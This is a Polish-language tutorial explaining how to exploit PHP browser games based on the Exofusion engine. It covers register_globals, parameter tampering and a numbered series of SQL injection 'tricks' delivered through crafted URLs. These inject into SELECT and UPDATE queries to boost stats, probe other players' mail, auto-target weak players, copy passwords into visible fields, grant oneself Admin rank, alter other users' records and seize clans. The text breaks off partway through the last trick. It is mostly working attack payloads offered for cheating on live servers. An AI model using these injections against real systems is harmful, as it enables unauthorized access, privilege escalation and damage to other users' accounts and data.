CZĘŚĆ TEORETYCZNA: PRZYCZYNY TEGO RODZAJU BUGÓW (część trudniejsza przeznaczona dla zainteresowanych informatyką, którzy chcą poznać mechanizm działania tych bugów)
1. Jak w HTTP przesyła się dane do serwera
Obliczenia dotyczące gry mają miejsce po stronie serwera, na którym jest gra, tak więc na ogół nie mamy na nie wpływu. Od nas skrypty dostają jedynie informacje o podejmowanych przez nas akcjach (co kupujemy, z kim walczymy, itp.). W poprzedniej części Bugologii powiedzieliśmy sobie, jak można oszukiwać, dobierając specyficzne ciągi znaków wpisywane do pól w formularzach. Ale informacje z tych pól nie są jedynymi wysyłanymi do serwera, jest jeszcze wiele innych danych, które nie zawsze widzimy, ale nimi również możemy manipulować.Informacje te przekazywane są na 3 sposoby:
GET - jest to metoda polegająca na przesyłaniu wartości zmiennych przez adres wywoływanej strony. Wygląda to na przykład tak: http://avathar.hitnews.pl/hospital.php?action=heal. Tak więc łatwo można wysłać jakieś inne wartości wpisując odpowiednie ciągi znaków w pasku adresu w przeglądarce.
POST - jest to metoda polegająca na niejawnym przekazywaniu wartości zmiennych z formularzy (w treści żądania HTTP). Żeby wysłać jakieś inne wartości tym kanałem trzeba zrobić własną wersję formularza z danej strony.
COOKIES - tutaj zmienne przekazywane są przez plik zapisywany na dysku osoby łączącej się z daną stroną. Zmienne zapisane w ten sposób można podmienić edytując plik cookie z danego serwisu. W Windows cookies znajdują się na dysku w katalogu Temporary Internet Files.
a. metoda GET
Po adresie strony umieszczamy ? a następnie kolejne pary zmienna=wartość oddzielając je od siebie znakiem &. Należy też pamiętać o specjalnym zapisywaniu niektórych znaków:
znak |
spacja |
+ |
& |
# |
kodowanie |
+ |
%2b |
%26 |
%23 |
Tak więc całość wygląda tak: http://adres.strony?zmienna1=wartość&zmienna2=wartość&zmienna3=wartość.
b. metoda POST
Kopiujemy sobie stronkę z danym formularzem na swój dysk. Przerabiamy formularz (resztę stronki możemy wyciąć, bo niepotrzebna) w następujący sposób:
Zamieniamy adres lokalny celu formularza na pełny adres, np: <form method=post action=train.php?action=train> zamieniamy na <form method=post action=http://avathar.hitnews.pl/train.php?action=train>
Do pól formularza takich jak lista wyboru dodajemy dodatkowe opcje, albo w ogóle zamieniamy je na pola tekstowe, dzięki czemu będziemy mogli nadać im taką wartość jaką chcemy, a nie taką jaką narzuca formularz.
2. Nadpisywanie zmiennych
W php.ini (jeśli nie jesteś administratorem serwera, to nie masz dostępu do tego pliku) istnieje dyrekytywa register_globals, którą można ustawić na on lub off. Gdy register_globals = on, to do wszystkich zmiennych przekazywanych na serwer można się odwoływać w skrypcie poprzez proste $nazwa_zmiennej, co jest dużym uproszczeniem, jednak zmniejsza bezpieczeństwo. Nie mamy wtedy kontroli nad tym, z jakiego źródła pochodzą dane zmienne, przy czym są one nadpisywane w kolejności ustawionej w php.ini - standardowo jest to variables_order = "EGPCS" czyli: Environment, Get, Post, Cookie, Server (zmienna w sesji na serwerze nadpisuje wszystkie pozostałe, a zmienna środowiskowa jest nadpisywana przez wszystkie pozostałe). Przykład: jeśli skrypt korzysta ze zmiennej środowiskowej $user, która normalnie $user=wiesiu, to możemy to nadpisać, gdy przekażemy przez GET user=gieniek.
Właśnie dlatego bezpieczniejsze jest ustawienie register_globals = off. Począwszy od PHP 4.2.0 jest to ustawienie domyślne. Do zmiennych trzeba się wtedy odwoływać poprzez konkretne tablice: $_ENV['nazwa_zmiennej'], $_GET['nazwa_zmiennej'], $_POST['nazwa_zmiennej'], $_COOKIE['nazwa_zmiennej'], $_SERVER['nazwa_zmiennej'].
Exofusion jest napisane dla ustawienia register_globals = on, przy off nie działa. Nadpisywanie zmiennych nic nam nie daje, bo i tak przy każdym wczytaniu strony są one pobierane z bazy danych. Niemniej daje nam to tyle, że nie musimy robić formularzy dla metody POST. Po prostu, to co wysłalibyśmy formularzem możemy wrzucić do paska adresu, co jest prostsze. Skrypt nie odróżni tego, właśnie dzięki tej dyrektywie. Na wielu serwerach jest ciągle ustwione register_globals = on (między innymi na Lycosie), żeby działało jak najwięcej skryptów użytkowników.
CZĘŚĆ PRAKTYCZNA: TRICKI Z WYKORZYSTANIEM BUGÓW Z PASKIEM ADRESU I FORMULARZAMI
Będę tu korzystał z kodu w miarę zbliżonego do pierwotnego Exofusion - w poszczególnych przypadkach kod może się różnić, więc korzystanie z bugów też może się różnić, albo też może być niemożliwe, jeśli ktoś te luki zabezpieczył.
Podane przykłady działają na serwerach z register_globals = on (czyli np. na Lycosie). Gdy nie ma tego udogodnienia, żeby wykorzystać bugi dotyczące metody POST trzeba spreparować odpowiednie formularze według wskazówek, które podałem wyżej.
Ze względu na to, że większość serwerów ma ustawione magic_quotes_gpc = on nie da się przemycić do zapytania SQL apostrofu, ani cudzysłowiu (są one automatycznie zamieniane na \` i \" i w związku z tym traktowane w zapytaniu SQL jako zwykły znak). Tak więc zadziałają tylko te tricki, które poradzą sobie bez używania apostrofu.
W podanych trickach ciągi znaków przeznaczone do wpisania w pasku adresu należy poprzedzić adresem danej gry.
Teraz przydatne w tej dziedzinie standardowe tabele (wybrano te pola, które są w większości gier na bazie Exofusion):
players |
tribes |
outposts |
equipment |
mail |
id |
id |
id |
id |
id |
user |
name |
owner |
owner |
sender |
email |
owner |
size |
name |
owner |
pass |
coowner |
mines |
power |
subject |
rank |
credits |
turns |
status |
body |
level |
platinum |
tokens |
type |
unread |
exp |
public_msg |
troops |
cost |
credits |
privat_msg |
barricades |
energy |
pass |
news |
max_energy |
strenght |
agility |
ap |
wins |
losses |
lastkilled |
lastkilledby |
platinum |
age |
logins |
hp |
max_hp |
bank |
lpv |
page |
ip |
mines |
ops |
alethite |
burelia |
tag |
tribe |
1. Wysyłanie wartości innych niż narzuca formularz
W miejscach, w których nie przekazujemy przez zmienne wartości tekstowej ani liczbowej, ale typ danej wartości, możemy go wybrać sobie dowolnie. Jest tak w siłowni (gdzie niby trenować można tylko siłę i zręczność) w wymianie ap, w dotacjach i pożyczaniu kasy w klanie. Tak więc okazuje się, że swój numer id (czy też max_energy) możemy trenować w siłowni, wymieniać ap na niego, czy też dawać go do klanu.
|
Trick 1 - trenowanie maksymalnej energii, wymiana AP na AP, oddawanie poziomu dla klanu, itp.. |
Wzór użycia |
1) train.php?action=train&train=współczynnik&repeat=ile 2) ap.php?statp=współczynnik 3) tribes.php?view=my&step=donate&step2=donate& amount=dowolna_liczba&type=współczynnik 4) tribes.php?view=my&step=owner&step2=loan&action=loan&id= id_klanowicza&amount=dowolna_liczba& currency=współczynnik_klanu |
Przykład użycia |
1) train.php?action=train&train=max_energy&repeat=8 2) ap.php?statp=ap 3) tribes.php?view=my&step=donate&step2=donate&amount=1&type=tribe 4) tribes.php?view=my&step=owner&step2=loan&action=loan&id=99& amount=1¤cy=owner
|
Dodatkowe wymagania |
1) Posiadanie wymaganej do trenowania danej ilości ruchów energii (w tym wypadku 1.6) 2) Posiadanie conajmniej 1 AP 3) Członkostwo w jakimś klanie. W ten sposób można tylko "przekazywać na klan" część danego współczynnika. Czyli tylko zmniejszać dany współczynnik. 4) Bycie włascicielem klanu. W ten sposób można tylko "wypłacić z klanu" część danego współczynnika. Czyli tylko zmniejszyć dany współczynnik.
|
Rezultat |
1) Maksymalna energia zwiększa nam się o 1. Tracimy 1.6 energii. 2) Wymieniamy AP na AP (jeśli przelicznik jest 1 AP = 2 współczynnika lub większy, to się to opłaca) 3) Zmieniamy klan na taki, który ma id o 1 niższe od naszego (okazja do przeszpiegowania). 4) Zmieniamy właściciela klanu na gracza o id o 1 niższym od naszego. |
Wytłumaczenie działania |
Zamiast trenować siłę czy zręczność, najzwyczajniej w świecie trenujemy sobie maksymalną energię, czy też jakikolwiek inny współczynnik z tablicy players (patrz wyżej). Analogicznie w pozostałych przykładach. |
Uwagi |
Trick ten działa nawet jeśli pola liczbowe są zabezpieczone według wskazówek z I części Bugologii. Poza tym należy pamiętać, że w przypadku wariantu z klanami, jeśli zmieniane pole znajduje się w obu tablicach (players i tribes), to zmiana wpłynie na obie tablice (jeśli damy 1 id dla klanu to nam id zmiejszy się o 1, a id klanu zwiększy się o 1) |
Dodatkowo, jeżeli nie są zabezpieczone bugi opisane w poprzedniej części bugologii, możemy i je wykorzystać (pamiętając o odpowiednim zakodowaniu znaku + i & czy # w metodzie GET). Nie można jednak tych starych tricków zastosować w przypadku siłowni, gdyż zmienna liczbowa rep nie jest wstawiana wprost do zapytania SQL, ale jest po drodze przeliczana, więc na skutek konwersji tracimy wszystko co nie jest liczbą w tej zmiennej. Nie można też ich zastosować w przypadku AP ponieważ tam nie mamy wpływu na wartość liczbową zmienianej wartości, a jedynie jej typ. Pozostają więc jedynie luki w klanach. I tu możemy korzystać z wszystkich tricków 2-6 z I części Bugologii.
|
Trick 2 - dowolne zwiększanie maksymalnej energii (...i innych współczynników liczbowych) |
Wzór użycia |
1) gracze: tribes.php?view=my&step=donate&step2=donate&amount=trick_2-6&type=współczynnik 2) klany: tribes.php?view=my&step=owner&step2=loan&action=loan&id= id_klanowicza&amount=trick_2-6&type=współczynnik |
Przykład użycia |
1) tribes.php?view=my&step=donate&step2=donate& amount=1*0%2b100&type=max_energy 2) tribes.php?view=my&step=owner&step2=loan&action=loan&id=99& amount=1%260%23&type=owner |
Dodatkowe wymagania |
1) Posiadanie conajmniej 2 danego współczynnika. Członkostwo w jakimś klanie. 2) Klan musi posiadać conajmniej 2 danego współczynnika. Bycie właścicielem jakiegoś klanu. |
Rezultat |
1) Nasza maksymalna energia zwiększa się o 100 2) Wszystkie klany tracą swoich włascicieli. Właściciele pozostają w klanach, ale nikt nie ma dostępu do panelu właściciela klanu. |
Wytłumaczenie działania |
1) Działanie analogiczne, jak działanie tricku 2 z I części Bugologii, tyle że rozszerzone o inne typy niż gotówka. Teoretycznie klan i my dostajemy po 100 max_energy, tyle że tablica tribes nie ma takiego pola, więc zajdzie błąd i tylko my dostaniemy dodatkowe 100 max_energy. 2) Tutaj z kolei użycie tricku 5 z I części Bugologii. Tablica players nie ma pola owner, tak więc zmiana ta zajdzie tylko w tablicy tribes. Warto też zauważyć, że zmienna id chociaż nie jest używana w zapytaniu, to jest sprawdzany wcześniej warunek, czy podane przez tą zmienną id należy do gracza z naszego klanu. Tak więc, żeby nie było błędu musimy podać w niej dowolne id kogoś z naszego klanu, najlepiej swoje. |
przykłady ciągów trickowych (patrz część I Bugologii) przekonwertowane do użycia z metodą GET |
Trick 2: 1*0+dowolna_liczba => 1*0%2bdowolna_liczba Trick 3: 1&0 => 1%260 Trick 4: 1&0dowolna_liczba => 1%260dowolna_liczba Trick 5: któryś_z_poprzednich_tricków# => któryś_z_poprzednich_tricków%23 Trick 6: któryś_z_poprzednich_tricków where id=id_gracza# => któryś_z_poprzednich_tricków+where+id=id_gracza%23 |
Uwagi |
Jeżeli próbowalibyśmy w ten sposób zwiększać pola, które są zarówno w tabeli players jak i tribes to zmienią się wartości pól w obydwu tabelach (np. jeśli zwiększylibyśmy w ten sposób swój id, to jednocześnie o tyle samo wzrósłby id naszego klanu). Dlatego też jeśli chcemy robić jakieś operacje na polu id to lepiej skorzystać z tricku 6 z części II Bugologii. |
2. Zmiana treści zapytań SQL z dyrektywą SELECT
Oczywiście bugi tego typu możemy wykorzystać daleko szerzej. Możemy spowodować wykonywanie zupełnie innych zapytań SQL. W wielu miejscach przy zmiennej liczbowej przekazywanej przez GET czy POST możemy dostać się do klauzuli where w zapytaniu SQL. Daje nam to jedynie funkcje informacyjne, bez możliwości ingerencji w dane, ale jest to najrozleglejsza luka. Tą drogą możemy otrzymywać odpowiedzi na zapytania dotyczące tablic players, tribes, mail, outposts, equipment.
|
Trick 3 - otrzymanie nielegalnych informacji o... |
Wzór użycia |
1) graczach: view.php?view=id+and+warunek 2) klanach: tribes.php?view=view&id=id+and+warunek 3) poczcie: mail.php?read=id+and+warunek 4) ekwipunku: armor.php?buy=id+and+warunek |
Przykład użycia |
1) view.php?view=id+and+hp=1+order+by+level+desc 2) tribes.php?view=view&id=id+order+by+credits+desc 3) mail.php?read=id+and+sender=99+and+owner=1+and+unread=true 4) armor.php?buy=id+and+owner=99+and+power>100
|
Rezultat |
Jeśli warunek nie jest spełniony pojawi się komunikat o braku takiego gracza, klanu, maila, ekwipunku. Gdy warunek jest spełniony pojawi pierwszy gracz, klan spełniający ten warunek lub w przypadku maila i ekwipunku - komunikat o błędzie (na ogół mail, albo przedmiot, o który pytamy, nie należy do nas) W podanych przykładach: 1) Spośród graczy o hp=1 (czyli umierających) zobaczymy tego gracza, który ma największy poziom. Może to być, więc, okazja na łatwe zdobycie dużego exp na umierającym graczu. 2) Pokazuje nam się klan mający najwięcej kasy 3) Jeśli gracz o id 99 napisał do gracza o id 1 (czyli zapewne właściciela gry), a ten jeszcze tej wiadomości nie przeczytał, to pokaże się komunikat, że ten mail nie należy do ciebie; w przeciwnym przypadku pojawi się komunikat, że nie ma takiego maila. 4) Jeśli gracz o id 99 nie posiada broni o sile powyżej 100 to pokaże nam się komunikat o tym, że nia ma takiej broni. W przeciwnym wypadku pojawi się komunikat, że nie można kupić tej broni. |
Wytłumaczenie działania |
W przykładzie 3 zmiennej read zostaje przypisana wartość: id+and+sender=99+and+owner=1+and+unread=true Kodowanie występujące w metodzie GET zamieni to na ciąg: id and sender=99 and owner=1 and unread=true Ciąg ten jest następnie podstawiany do zapytania sql: select * from mail where id=$read I otrzymujemy: select * from mail where id=id and sender=99 and owner=1 and unread=true |
Ta metoda da nam w najlepszym razie jedną pozycję w odpowiedzi. Jednak w przypadku tabeli players mamy możliwość wypisania dowolnej liczby graczy spełniających zadane przez nas warunki. Luka taka znajduje się w arenie, gdzie normalnie jest możliwość wypisania wszystkich żywych graczy na danym poziomie. Numer poziomu nadaje się do przemycenia zupełenie innych warunków.
|
Trick 4 - lista graczy o zadanych kryteriach |
Wzór użycia |
battle.php?action=levellist&step=go&slevel=level+and+warunek |
Przykład użycia |
battle.php?action=levellist&step=go&slevel=level+and+strength<100 +and+agility<100+and+level>10 |
Rezultat |
Ujrzymy listę do 50 graczy, żywych, których parametry spełniają wybrane przez nas kryteria. W podanym przykładzie: Pojawi się lista żywych graczy o sile poniżej 100, zręczności poniżej 100 i poziomie powyżej 10. Jeśli więc mamy poziom 10, siłę 100 i zręczność 100, to ujrzymy graczy, których na pewno pokonamy (jeszcze hp trzebaby uwzględnić), a którzy są na wyższych poziomach - będziemy mogli więc zarobić maksymalne exp. |
Wytłumaczenie działania |
W podanym przykładzie zmiennej slevel zostaje przypisana wartość: level+and+strength<100+and+agility<100+and+level>10 Kodowanie występujące w metodzie GET zamieni to na ciąg: level and strength<100 and agility<100 and level>10 Ciąg ten jest następnie podstawiany do zapytania sql: select * from players where level=$slevel and hp>0 limit 50 I otrzymujemy: select * from players where level=level and strength<100 and agility<100 and level>10 and hp>0 limit 50 |
Uwagi |
Jeśli chcemy pominąć warunek, że mają to być żywi gracze i że ma być wypisane pierwszch 50 osób, to wystarczy dodać na końcu łańcucha: %23 (czyli #) |
Możemy też używać poleceń automatycznie dokonujących wyboru celu, chociażby przy walce
|
Trick 5 - automatyczny atak na najbardziej opłacalną postać/strażnicę |
Wzór użycia |
1) postać: battle.php?battle=id+and+warunek 2) strażnicę: outpost.php?view=battle&action=battle&oid=id+and+warunek |
Przykład użycia |
1) battle.php?battle=id+and+strength<100+and+agility<100+and +hp+between+1+and+20+order+by+level+desc 2) outpost.php?view=battle&action=battle&oid=id+and+ troops%2bbarricades<100 +order+by+size+desc |
Rezultat |
Automatycznie zaatakujemy pierwszą w tabeli osobę, która spełnia dany warunek. W podanym przykładzie: 1) Automatycznie zaatakujemy gracza o największym poziomie (dającego najwięcej exp) spośród żywych graczy o sile poniżej 100, zręczności poniżej 100 i hp do 20. Jeśli więc mamy hp 20, siłę 100 i zręczność 100, to zaatakujemy postać dającą prawie maksymalne exp. Warto jednak pozbyć się części warunków i pozostawić tylko siłę, jeśli mamy jej zdecydowanie najwięcej. 2) Automatycznie zaatakujemy strażnicę o największym rozmiarze (dającą najwięcej kasy) spośród strażnic o sile (żołnierze + barykady) poniżej 100. Jeśli więc suma naszych żołnierzy i barykad wynosi 100, to zaatakujemy strażnicę dającą prawie maksymalne kasę. Warto jednak trochę zaniżyć kryteria, żeby mieć pewność, że wygramy. |
Wytłumaczenie działania |
W przykładzie 1 zmiennej battle zostaje przypisana wartość: id+and+strength<100+and+agility<100+and+hp+ between+1+and+20+order+by+level+desc Kodowanie występujące w metodzie GET zamieni to na ciąg: id and strength<100 and agility<100 and hp between 1 and 20 order by level desc Ciąg ten jest następnie podstawiany do zapytania sql: select * from players where id=$battle I otrzymujemy: select * from players where id=id and strength<100 and agility<100 and hp between 1 and 20 order by level desc |
3. Zmiana treści zapytań SQL z dyrektywą UPDATE zmienne przekazujące nazwę współczynnika
Tricki 1 i 2 pokazywały jak możemy wpływać na treść dyrektywy UPDATE poprzez zmienne z wartościami liczbowymi. Dużo większe możliwości daje ingerencja w zmienne z nazwami typów współczynników. Luki takie znajdują się w potencjalnie w trzech miejscach:
W siłowni: update players set $train=$train+$gain where id=$stat[id] (tak więc za $train możemy podstawić co się nam żywnie podoba)
W wymianie AP: update players set $statp=$statp+$gain where id=$stat[id] (tutaj możemy podmienić $statp)
W klanach(dotacje): update players set $type=$type-$amount where id=$stat[id] oraz update tribes set $type=$type+$amount where id=$mytribe[id] (tutaj możemy potencjalnie użyć $type)
W klanach(pożyczki): update players set $currency=$currency+$amount where id=$id oraz update tribes set $currency=$currency-$amount where id=$mytribe[id] (tutaj możemy potencjalnie użyć $currency) W każdym z tych przypadków aby dyrektywa UPDATE została wykonana sprawdzane są najpierw pewne warunki blokujące. Gdy zostaną spełnione nasza akcja nie odniesie skutku:
$repeat = ($rep * .2); if ($repeat > $stat[energy] $rep <= 0) Tak więc liczba treningów musi być większa od 0 i musi dać się wykonać przy obecnej energii.
if ($stat[ap] <= 0) Trzeba posiadać więcej niż 0 AP.
if ($amount > $stat[$type])
if ($amount > $mytribe[$currency]) Niestety warunków 3 i 4 nie uda nam się w ogóle zapewnić ponieważ jeśli podstawimy pod $type cokolwiek poza nazwą pola, które występuje w tabeli players, to $stat[$type] przyjmie wartość 0 i warunek blokujący zostanie spełniony (pole $amount też na ogół jest zabezpieczone, żeby nie dało się wpisać 0 lub ujemnej kwoty). Analogicznie dla zmiennej $currency.
Tak więc zostawimy klany w spokoju i zajmiemy się siłownią i wymianą AP. W obydwu przypadkach mamy do czynienia też efektami ubocznymi naszej akcji:
$repeat = ($rep * .2); update players set energy=energy-$repeat where id=$stat[id] Graczowi ubywa energii o ilość potrzebną do wykonania danej liczby treningów.
update players set ap=ap-1 where id=$stat[id] Graczowi ubywa 1 AP. W przypadku 1 możemy pozbyć się efektu ubocznego poprzez ustawienie zmiennej rep=.0001, a o to, żeby mieć potrzebne AP będziemy się musieli zatroszczyć sami.
a. współczynniki liczbowe
Tutaj sprawa jest najprostsza, bo można je ustawiać tak, jak nam się żywnie podoba. Bug ten działa wtedy, gdy zabezpieczono już bugi wymienione w I części Bugologii (conajwyżej rep=.0001 może nie przejść i trzeba jednak ustawić rep=1 oraz pamiętać o odnawianiu energii co jakiś czas).
|
Trick 6 - nadawanie współczynnikom wartości liczbowych (wskrzeszanie przeciwników) |
Wzór użycia |
1) train.php?action=train&train=współczynnik=wartość+ where+id=id_dowolnego_gracza%23&rep=.0001 2) ap.php?statp=współczynnik=wartość+where+id= id_dowolnego_gracza%23 |
Przykład użycia |
1) train.php?action=train&train=mines=100+where+id=99%23&rep=.0001 2) ap.php?statp=hp=1+where+id=99%23 |
Dodatkowe wymagania |
1) Posiadanie więcej niż 0 energii. 2) Posiadanie conajmniej 1 AP. |
Rezultat |
1) Od tego momentu użytkownik o id 99 posiada 100 kopalnii. 2) Użytkownik o id 99 będzie miał 1 HP, a my stracimy 1 AP (tym sposobem możemy wskrzeszać kogoś w nieskończoność i łatwo zabijać - HP tylko 1). |
Wytłumaczenie działania |
W przykładzie 2 zmiennej statp zostaje przypisana wartość: hp=1+where+id=99%23 Kodowanie występujące w metodzie GET zamieni to na ciąg: hp=1 where id=99# Ciąg ten jest następnie podstawiany do zapytania sql: update players set $statp=$statp+$gain where id=$stat[id] I otrzymujemy: update players set ap=ap-1 where id=$stat[id] update players set hp=1 where id=99#=hp=1 where id=99#+$gain where id=$stat[id] |
Uwagi |
Jeśli pominiemy fragment z where (np. +where+id=99) to dana akcja odbędzie się dla WSZYSTKICH graczy. Warto zauważyć, że w tym tricku nie ma żadnego wymgania co do początkowej wartości danego współczynnika (tak jak to jest w tricku 2), może on wynosić nawet 0. Minusem są natomiast efekty uboczne w postaci zabieranej energii lub AP. Nie da się niestety tą metodą zmienić zawartości tabeli tribes. |
b. współczynniki tekstowe
Tutaj możemy już mówić tylko o zmianach w tabeli players. Sprawa się też komplikuje. Nie da się wstawić po prostu przypisania user='Mamut', gdyż wszelkie apostrofy są zamieniane na sekwencje \'. Możemy jednak skopiować wartość tekstową z innego pola.
|
Trick 7 - kopiowanie wartości współczynników z innych współczynników |
Wzór użycia |
1) train.php?action=train&train=współczynnik_1=współczynnik_2 +where+id=id_dowolnego_gracza%23&rep=.0001 2) ap.php?statp=współczynnik_1=współczynnik_2+where+id= id_dowolnego_gracza%23 |
Przykład użycia |
1) train.php?action=train&train=user=pass+where+id=99%23&rep=.0001 2) ap.php?statp=profile=email+where+id=99%23 |
Dodatkowe wymagania |
1) Posiadanie więcej niż 0 energii. 2) Posiadanie conajmniej 1 AP. |
Rezultat |
1) Nick gracza o id 99 przyjmuje wartość jego hasła. 2) Opis (profil) gracza o id 99 przyjmuje wartość jego emaila. Tracimy 1 AP. |
Wytłumaczenie działania |
W przykładzie 2 zmiennej statp zostaje przypisana wartość: profile=email+where+id=99%23 Kodowanie występujące w metodzie GET zamieni to na ciąg: profile=email where id=99# Ciąg ten jest następnie podstawiany do zapytania sql: update players set $statp=$statp+$gain where id=$stat[id] I otrzymujemy: update players set ap=ap-1 where id=$stat[id] update players set profile=email where id=99#=profile=email where id=99#+$gain where id=$stat[id] |
Uwagi |
Jeśli pominiemy fragment z where (np. +where+id=99) to dana akcja odbędzie się dla WSZYSTKICH graczy. |
Co jednak wtedy, gdy chcemy nadać jakiemuś polu kokretną wartość? Np. chcemy mieć rasę Smok? Musimy wtedy przeprowadzić to dwustopniowo. Najpierw zmienić jakiś współczynnik tekstowy, który daje się normalnie zmieniać (np. nick, opis, email); a następnie skopiować go do wybranego pola w sposób opisany w tricku 7.
|
Trick 8 - nadawanie swoim współczynnikom konkretnych wartości tekstowych (sposób na Admina) |
Wzór użycia |
etap 1: account.php?view=name&step=name&name=wartość etap 2: train.php?action=train&train=współczynnik=user+where+id=nasze_id%23&rep=.0001
|
Przykład użycia |
etap 1: account.php?view=name&step=name&name=Admin etap 2: train.php?action=train&train=rank=user+where+id=99%23&rep=.0001
|
Dodatkowe wymagania |
1) Brak użytkownika o takim nicku (w przypadku użycia pola z opisem problem ten znika). 2) Energia większa od 0. |
Rezultat |
1) Nasz nick zmienia się na Admin (na koniec akcji warto więc przywrócić swój nick). 2) Dostajemy rangę Admin (przy założeniu, że mamy id 99) i od tej pory cieszymy się dostępem do panelu admina. |
Wytłumaczenie działania |
W etapie 1 zmiennej name zostaje przypisana wartość Admin i dalej wstawiona do zapytania: update players set user='$name' where id=$stat[id] Tak więc otrzymujemy: update players set user='Admin' where id=$stat[id] W etapie 2 powstaje zapytanie: update players set rank=user where id=99#=rank=user where id=99#+$gain where id=$stat[id] I tak rank otrzymuje w końcu wartość Admin |
Uwagi |
W ten sposób możemy zmieniać tylko własne współczynniki tekstowe. |
Jeśli natomiast chcemy ustawić u kogoś pole tekstowe, to zadanie jest jeszcze trudniejsze. Żeby tego dokonać musielibyśmy jakoś ustawić jedno z pól danej osoby... Jest o możliwe, jeśli zmienimy swój nick na daną wartość i zaatakujemy danego gracza. Wtedy tekst z naszego nicka znajdzie się w polu lastkilled lub lastkilledby w zależności od tego czy wygramy. Dalej już tylko dobrze znane nam kopiowanie.
|
Trick 9 - nadawanie cudzym współczynnikom konkretnych wartości tekstowych |
Wzór użycia |
etap 1: account.php?view=name&step=name&name=wartość (zmiana nicka) etap 2: train.php?action=train&train=hp=1+where+id=id_gracza%23&rep=.0001 (wskrzeszenie i osłabienie delikwenta) etap 3: battle.php?battle=id_gracza (zaatakowanie delikwenta) etap 4a: train.php?action=train&train=współczynnik=laskkilledby+ where+id=id_gracza%23&rep=.0001 (gdy wygramy) etap 4b: train.php?action=train&train=współczynnik=laskkilled+ where+id=id_gracza%23&rep=.0001 (gdy przegramy)
|
Przykład użycia |
etap 1: account.php?view=name&step=name&name=Mamut etap 2: train.php?action=train&train=hp=1+where+id=99%23&rep=.0001 (gdy potrzeba wskrzesić) etap 3: battle.php?battle=99 etap 4a: train.php?action=train&train=rasa=laskkilledby+where+id=99%23&rep=.0001 (gdy wygramy) etap 4b: train.php?action=train&train=rasa=laskkilled+where+id=99%23&rep=.0001 (gdy przegramy)
|
Dodatkowe wymagania |
1) Brak użytkownika o takim nicku (w przypadku użycia pola z opisem problem ten znika). 2) Energia większa od 0. 3) Gracza da się zaatakować (czasem są ograniczenia na poziom atakującego). |
Rezultat |
Użytkownik o id 99 dostaje rasę Mamut. Efekty uboczne: 1) Nasz nick zmienia się na Mamut (na koniec akcji warto więc przywrócić swój nick). 2) Gracz o id 99 kończy martwy lub z 1 HP, a nickiem Mamut w 'ostatnio zabił', albo w 'ostatnio zabity przez' i w logach. |
Wytłumaczenie działania |
Analogicznie jak w poprzednim tricku. |
Uwagi |
W ten sposób możemy zmieniać tylko cudze współczynniki tekstowe. Jeśli chcemy zrobić to bez tylu efektów ubocznych lub dla większej ilości graczy, to prościej jest zdobyć najpierw admina i następnie ustawić danej osobie poprzez panel admina rangę na daną wartość tekstową i następnie skopiować wartość pola rank w wybrane pole. |
4. Ciekawostki
W tabeli players jest taki pole jak lpv - pokazuje ono czas naszego ostatniego ruchu. Wśród graczy online na ogół pokazują się ci gracze, który wykonali jakiś ruch przez ostatnie 3 minuty. Możemy to wykorzystać do manipulowania tym, kto się pokazuje jako obecny w grze.
|
Trick 10 - ukrywanie swojej obecności |
Wzór użycia |
1) train.php?action=train&train=lpv=0+where+id=id_gracza%23&rep=.0001 2) ap.php?statp=lpv=0+where+id=id_gracza%23 |
Przykład użycia |
1) train.php?action=train&train=lpv=0+where+id=99%23&rep=.0001 2) ap.php?statp=lpv=0+where+id=99%23 |
Dodatkowe wymagania |
1) Posiadanie więcej niż 0 energii. 2) Posiadanie conajmniej 1 AP. |
Rezultat |
Od tego momentu gracz o id 99 nie pokazuje się na liście graczy online. Jednak, gdy gracz ten wykona jakąkolwiek inną akcję w grze, to pojawi się natychmiast. |
Wytłumaczenie działania |
Czas ostatniej akcji zostaje ustawiony na 0, więc gracz uznawany jest za nieaktywnego od dawna. |
Uwagi |
Jeśli pominiemy fragment z where (np. +where+id=99) to dana akcja odbędzie się dla WSZYSTKICH graczy. Po co niewidzialność, skoro nie można nic wtedy robić? Jeśli będziemy jedynie odświeżać co jakiś czas ten link dający ją, to pozostaniemy niewidzialni, a jednocześnie będziemy mogli śledzić pojawiających się i odchodzących graczy, swoje statystyki - a więc czy ktoś nas zaatakuje, itd (infomacje te pokazują się na odświeżanej stronie). |
|
Trick 11 - symulowanie obecności jakiejś osoby |
Wzór użycia |
1) train.php?action=train&train=lpv=unix_timestamp()+where+id=id_gracza%23&rep=.0001 2) ap.php?statp=lpv=unix_timestamp()+where+id=id_gracza%23 |
Przykład użycia |
1) train.php?action=train&train=lpv=unix_timestamp()+where+id=99%23&rep=.0001 2) ap.php?statp=lpv=unix_timestamp()+where+id=99%23 |
Dodatkowe wymagania |
1) Posiadanie więcej niż 0 energii. 2) Posiadanie conajmniej 1 AP. |
Rezultat |
W tym momencie gracz o id 99 pokaże się na liście graczy online. Po trzech minutach zniknie znowu, o ile nie będziemy w międzyczasie odświeżać co jakiś czas tego linku. |
Wytłumaczenie działania |
Czas ostatniej akcji zostaje ustawiony na bieżacy, więc gracz uznawany jest za aktywnego - tak jakby właśnie wykonał jakąś akcję. |
Uwagi |
Jeśli pominiemy fragment z where (np. +where+id=99) to dana akcja odbędzie się dla WSZYSTKICH graczy. |
|
Trick 12 - zombie |
Wzór użycia |
1) train.php?action=train&train=lpv=9999999999+where+id=id_gracza%23&rep=.0001 2) ap.php?statp=lpv=9999999999+where+id=id_gracza%23 |
Przykład użycia |
1) train.php?action=train&train=lpv=9999999999+where+id=99%23&rep=.0001 2) ap.php?statp=lpv=9999999999+where+id=99%23 |
Dodatkowe wymagania |
1) Posiadanie więcej niż 0 energii. 2) Posiadanie conajmniej 1 AP. |
Rezultat |
W tym momencie gracz o id 99 pokaże się na liście graczy online i nie zniknie, ani po 3 minutach, ani później. Będzie już stale obecny, aż do momentu, gdy ten gracz się zaloguje naprawdę - wtedy jego czas zostanie ustawiony z powrotem na bieżący. |
Wytłumaczenie działania |
Czas ostatniej akcji zostaje ustawiony na 9999999999, więc gracz uznawany jest stale uznawany za aktywnego - jego ostatnia akcja jest ustawiona daleko w przyszłości. |
Uwagi |
Jeśli pominiemy fragment z where (np. +where+id=99) to dana akcja odbędzie się dla WSZYSTKICH graczy. |
Teraz zajmiemy się tym, jak przejąć czyjś klan. Żeby to zrobić najlepiej jest być już właścicielem jakiegoś klanu.
|
Trick 13 - przejęcie klanu |
Wzór użycia |
etap 1: tribes.php?view=my&step=owner&step2=loan& action=loan&id=nasze_id&amount=1%260nasze_id+where+id=id_klanu%23&type=owner etap 2: train.php?action=train&train=tribe=id_klanu+where+id=nasze_id%23&rep=.0001
|
Przykład użycia |
